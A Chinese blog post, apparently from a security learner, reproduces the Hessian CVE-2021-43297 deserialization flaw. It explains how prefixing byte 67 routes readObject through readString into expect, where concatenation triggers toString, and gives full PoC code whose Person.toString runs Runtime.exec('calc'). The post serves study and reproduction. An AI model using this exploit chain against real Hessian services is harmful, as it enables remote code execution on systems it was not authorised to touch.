【Web】浅聊Hessian异常toString姿势学习复现

news2025/2/27 18:19:51

目录

前言

利用关键

调用分析

如何控制第一个字节

EXP


前言

Hessian CVE-2021-43297,本质是字符串和对象拼接导致隐式触发了该对象的 toString 方法,触发toString方法便可生万物,而后打法无穷也!

这个CVE针对的是Hessian2Input#expect,Hessian1则没有对应的问题。

利用关键

Hessian2Input 中的 expect 方法用于检查下一个输入字节是否符合期望的标记,并将当前位置移动到下一个字节。它的函数签名如下:

protected IOException expect(String expect, int ch)

参数解释:

  • expect 表示期望的内容,ch 表示当前读取到的字符

expect 方法的作用是检查下一个输入字节是否等于给定的 expect 值,如果相等,则向前移动输入流的位置;如果不相等,则抛出 IOException 异常或者其他相关异常。

该方法通常在 Hessian 反序列化过程中使用,用于检查预期的数据标记,以确保数据的有效性和完整性。

现在具体来看expect方法怎么写的

 protected IOException expect(String expect, int ch) throws IOException {
        if (ch < 0) {
            return this.error("expected " + expect + " at end of file");
        } else {
            --this._offset;

            try {
                int offset = this._offset;
                String context = this.buildDebugContext(this._buffer, 0, this._length, offset);
                Object obj = this.readObject();
                return obj != null ? this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " " + obj.getClass().getName() + " (" + obj + ")\n  " + context + "") : this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " null");
            } catch (Exception var6) {
                log.log(Level.FINE, var6.toString(), var6);
                return this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255));
            }
        }
    }

先 readObject 得到 obj, 然后直接将 obj 与字符串拼接, 从而触发 obj 的 toString 方法,目的达成

调用分析

从设计的角度,除 readObject 以外的其它 readXX 方法大都会调用 expect

这些 readXX 方法通常用于读取特定类型的数据或执行特定的读取操作,如:

  1. readInt 方法:用于读取整数数据。
  2. readString 方法:用于读取字符串数据。
  3. readFloat 方法:用于读取浮点数数据。
  4. readChar 方法:用于读取单个字符数据。
  5. readLine 方法:用于读取一行文本数据。

这里师傅们用的是readString来触发expect,俺也来致敬经典😄

public String readString() throws IOException {
        int tag = this.read();
        int ch;
        switch (tag) {
            case 0:
            case 1:
            case 2:
            case 3:
            case 4:
            case 5:
            case 6:
            case 7:
            case 8:
            case 9:
            case 10:
            case 11:
            case 12:
            case 13:
            case 14:
            case 15:
            case 16:
            case 17:
            case 18:
            case 19:
            case 20:
            case 21:
            case 22:
            case 23:
            case 24:
            case 25:
            case 26:
            case 27:
            case 28:
            case 29:
            case 30:
            case 31:
                this._isLastChunk = true;
                this._chunkLength = tag - 0;
                this._sbuf.setLength(0);

                while((ch = this.parseChar()) >= 0) {
                    this._sbuf.append((char)ch);
                }

                return this._sbuf.toString();
            case 32:
            case 33:
            case 34:
            case 35:
            case 36:
            case 37:
            case 38:
            case 39:
            case 40:
            case 41:
            case 42:
            case 43:
            case 44:
            case 45:
            case 46:
            case 47:
            case 52:
            case 53:
            case 54:
            case 55:
            case 64:
            case 65:
            case 66:
            case 67:
            case 69:
            case 71:
            case 72:
            case 74:
            case 75:
            case 77:
            case 79:
            case 80:
            case 81:
            case 85:
            case 86:
            case 87:
            case 88:
            case 90:
            case 96:
            case 97:
            case 98:
            case 99:
            case 100:
            case 101:
            case 102:
            case 103:
            case 104:
            case 105:
            case 106:
            case 107:
            case 108:
            case 109:
            case 110:
            case 111:
            case 112:
            case 113:
            case 114:
            case 115:
            case 116:
            case 117:
            case 118:
            case 119:
            case 120:
            case 121:
            case 122:
            case 123:
            case 124:
            case 125:
            case 126:
            case 127:
            default:
                throw this.expect("string", tag);
            ......
        }
    }

 现在问题就是怎么完成下列调用

readObject->readString->expect

Hessian反序列化时,会根据输入流来判断类型,首先读取输入流的一个字节,根据这个标记字节(tag)来决定反序列化的类型,而这第一个字节是我们可控的(暂时不讲怎么操作)

当tag为67时,会调用readObjectDefinition

跟进,接着调用readString

最后进到default->expect

 

 

hessian 在读入的时候是按一个个 byte 来读的,在 readObject 里面第一次调用的 this.read() 读取的是序列化后的 byte 数组里的第一个值, 所以只要在 原byte 数组的前面再拼一个 67 就行了

因为写入的 object 本来就不是 String 类型的,所以readString 里面读的第二个 tag 其实也不用考虑,最后肯定会进到default

如何控制第一个字节

System.arraycopy 是一个 Java 中用于复制数组元素的方法

public static void arraycopy(Object src, int srcPos, Object dest, int destPos, int length)

参数解释如下:

  • src:源数组,即要复制数据的原始数组。
  • srcPos:源数组的起始位置,从该位置开始复制数据。
  • dest:目标数组,即将数据复制到的目标数组。
  • destPos:目标数组的起始位置,从该位置开始粘贴数据。
  • length:要复制的元素数量,即要复制的数据长度。

EXP

先导pom依赖

<dependencies>
        <dependency>
            <groupId>com.caucho</groupId>
            <artifactId>hessian</artifactId>
            <version>4.0.63</version>
        </dependency>
    </dependencies>

EXP.java

package org.Hessian;


import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;

public class EXP {
    public static byte[] Hessian2_Serial(Object o) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(baos);
        hessian2Output.writeObject(o);
        hessian2Output.flushBuffer();
        return baos.toByteArray();
    }

    public static Object Hessian2_Deserial(byte[] bytes) throws IOException {
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
        Hessian2Input hessian2Input = new Hessian2Input(bais);
        Object o = hessian2Input.readObject();
        return o;
    }

    public static void main(String[] args) throws Exception {

        Person person = new Person();
        person.setName("Hessian异常toString成功捏o(=•ェ•=)m");

        byte[] data = Hessian2_Serial(person);

        byte[] poc = new byte[data.length + 1];
        System.arraycopy(new byte[]{67}, 0, poc, 0, 1);
        System.arraycopy(data, 0, poc, 1, data.length);
        Hessian2_Deserial(poc);
    }
}

Person.java

package org.Hessian;

import java.io.IOException;
import java.io.Serializable;

public class Person implements Serializable {
    String name;

    public void setName(String name) {
        this.name = name;
    }


    @Override
    public String toString() {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
        return this.name;
    }
}

成功弹出计算器

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1528440.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Re62:读论文 GPT-2 Language Models are Unsupervised Multitask Learners

诸神缄默不语-个人CSDN博文目录 诸神缄默不语的论文阅读笔记和分类 论文全名&#xff1a;Language Models are Unsupervised Multitask Learners 论文下载地址&#xff1a;https://cdn.openai.com/better-language-models/language_models_are_unsupervised_multitask_learner…

解锁编程潜能:ChatGPT如何革新软件开发

目录 一、背景 二、功能描述 三、总结 一、背景 在这个飞速发展的数字时代&#xff0c;软件开发的效率和质量成了衡量一个开发者能力的重要标准。随着人工智能技术的不断进步&#xff0c;越来越多的开发者开始寻找能够提升工作效率的新方法。我就是其中之一&#xff0c;最近…

【RabbitMQ | 第五篇】RabbitMQ实现消息的可靠抵达

文章目录 5.RabbitMQ实现消息的可靠抵达5.1引入背景5.2确认机制分类5.2.1ConfirmCallback (确认模式&#xff1a;消息生产者确认)&#xff08;1&#xff09;开启确认配置&#xff08;2&#xff09;实现ConfirmCallback回调接口 5.2.2ReturnCallback&#xff08;回退模式&#x…

vue3.x 使用jsplumb进行多列拖拽连线

前言&#xff1a; 最近很多小伙伴问到使用jsplumb进行多列拖拽连线怎么实现&#xff1f; 下面介绍vue3.x 使用jsplumb进行多列拖拽连线示例&#xff0c;以三列举例&#xff1a; 安装 npm install --save jsplumb引入 <script lang"ts" setup>import {ref, r…

#Linux(VIM编辑器使用)

&#xff08;一&#xff09;发行版&#xff1a;Ubuntu16.04.7 &#xff08;二&#xff09;记录&#xff1a; &#xff08;1&#xff09;打开一个文本文件输入vi文件名&#xff08;如果存在该文件则直接打开&#xff0c;如果没有则创建一个文件&#xff09; &#xff08;2&…

【早鸟优惠|高录用|EI稳定检索】2024年虚拟现实、图像和信号处理国际学术会议(ICVISP 2024)诚邀投稿/参会!

【早鸟优惠|高录用|EI稳定检索】 2024年虚拟现实、图像和信号处理国际学术会议&#xff08;ICVISP 2024&#xff09;诚邀投稿/参会&#xff01; # 早鸟优惠 # 先投稿先送审 # #投稿免费参会、口头汇报及海报展示# 2024年虚拟现实、图像和信号处理国际学术会议&#xff08;I…

递推与递归

92. 递归实现指数型枚举 - AcWing题库 #include <bits/stdc.h> using namespace std; const int N17; int n; bool vis[N];//记录某一个数是否出现过 void dfs(int dep){// if(vis[dep])continue;//没有这一句 因为一定不会有已经选过的数if(depn1){//对于每个数都做完了…

C++ QT串口通信(2)-串口通信入门实例

本文通过实例讲解C++ QT串口通信。 入门实例设计一个串口助手,能够很好的涵盖串口要点的使用。 成品图 如下; 实现代码如下: 首先在pro文件中添加串口模块 UI界面如下 <?xml version="1.0" encoding="UTF-8"?> <ui version="4.0&q…

漏洞挖掘 | 记一个奇怪的万能密码

前言 打的站点打多了&#xff0c;什么奇怪的问题都会发生 打点 开局一个登录框 用户枚举到账号爆破 测了一下&#xff0c;没发现admin的弱口令&#xff0c;但是发现存在用户枚举漏洞&#xff0c;因此准备跑一下账号 输入密码为123456 进行账号爆破 成功爆破出账号 是的…

综合知识篇10-计算机网络考点(2024年软考高级系统架构设计师冲刺知识点总结系列文章)

专栏系列文章: 2024高级系统架构设计师备考资料(高频考点&真题&经验)https://blog.csdn.net/seeker1994/category_12593400.html案例分析篇00-【历年案例分析真题考点汇总】与【专栏文章案例分析高频考点目录】(2024年软考高级系统架构设计师冲刺知识点总结-案例…

【读书笔记】 40本脑科学书籍总结出的方法论——《涂鸦启示录》我庆幸没有错过

文章目录 《费曼学习法》《SMART法则》 概述原书内容脉络第一部分 目标管理第二部分 习惯养成第三部分 时间管理第四部分 思维方式第五部分 学习方法第六部分 解决问题 拓展 阅读体验感受评价补充&#xff1a; 总结 《涂鸦启示录》是诸多认知&#xff0c;思维书籍、演讲的大合集…

angularjs 指令实现自定义滚动条

场景&#xff1a;横向商品栏&#xff0c;把原有的滚动条改成自定义的样式&#xff0c;并且给两边加上箭头可以调整&#xff0c;可以拖动商品和滚轮实现滚动条效果。 js appService.directive(customScrollbar, function() {return {restrict: A,transclude: true,scope: {ena…

MATLAB环境下基于离散小波变换和主成分平均的医学图像融合方法

随着计算机技术和生物影像工程的日趋成熟&#xff0c;医学图像为医疗诊断提供的信息越来越丰富。目前&#xff0c;由于医学成像的设备种类繁多&#xff0c;导致医生获得的图像信息差异较大。如何把这些信息进行整合供医生使用成为当务之急。基于此&#xff0c;医学图像融合技术…

php 对接Mintegral汇量海外广告平台收益接口Reporting API

今天对接的是Mintegral广告reporting api接口&#xff0c;拉取广告收益回来自己做统计。记录分享给大家 首先是文档地址,进入到Mintegral后台就能看到文档地址以及参数&#xff1a; 文档地址&#xff1a;https://cdn-adn-https.rayjump.com/cdn-adn/reporting_api/MintegralRA.…

2024你值得拥有,Go语言入门学习线路推荐

“小众”的编程语言的Go语言在今年2月成功挤进TOIBE排行榜前10&#xff0c;3月稳居第8名。从最低时的第122名&#xff0c;到现在第8名&#xff0c;Go 的身影越来越清晰。 其实它早已被广泛应用于云计算、大数据、区块链、微服务、游戏开发等领域&#xff0c;因而也有越来越多的…

相比于 HTTP 协议,WebSocket协议的必要性体现在哪里?

HTTP 协议的一个缺点 从 HTTP 协议的角度来看&#xff0c;就是点一下网页上的某个按钮&#xff0c;前端发一次 HTTP请 求&#xff0c;网站返回一次 HTTP 响应。这种由客户端主动请求&#xff0c;服务器响应的方式也满足大部分网页的功能场景。但是有没有发现&#xff0c;在HTTP…

WiFi7为什么需要6G频谱

从5925MHz到7125MHz&#xff0c;整整1200MHz的频谱&#xff0c;都被分配给了WiFi7。非常得豪&#xff01; 只是国内还没有这个东西。 为什么要这么宽的频谱呢&#xff1f; Intel作过实验&#xff0c;发现在日常的场合下 一定是3个320MHz宽的不重叠信道&#xff0c;方能达到AV/…

小游戏实战-Python实现石头剪刀布+扫雷小游戏

小游戏实战-Python实现石头剪刀布扫雷小游戏 我想说废话止于此石头剪刀布-入门必学游戏游戏规则实现思路示例代码知识要点运行效果 扫雷-内网摸鱼必备游戏游戏规则实现思路示例代码知识要点运行效果 进阶练习-走迷宫&#xff08;预留&#xff09;游戏规则预期效果 总结 我想说 …

算法第三十天-矩阵中移动的最大次数

矩阵中移动的最大次数 题目要求 解题思路 网格图 DFS 从第一列的任一单元格 ( i , 0 ) (i,0) (i,0) 开始递归。枚举往右上/右/右下三个方向走&#xff0c;如果走一步后&#xff0c;没有出界&#xff0c;且格子值大于 g r i d [ i ] [ j ] grid[i][j] grid[i][j]&#xff0c;则…

Java使用itextpdf往pdf中插入图片

引入maven依赖 <dependency><groupId>com.itextpdf</groupId><artifactId>itextpdf</artifactId><version>5.5.9</version> </dependency>java代码 import cn.hutool.extra.qrcode.QrCodeUtil; import com.itextpdf.text.*; i…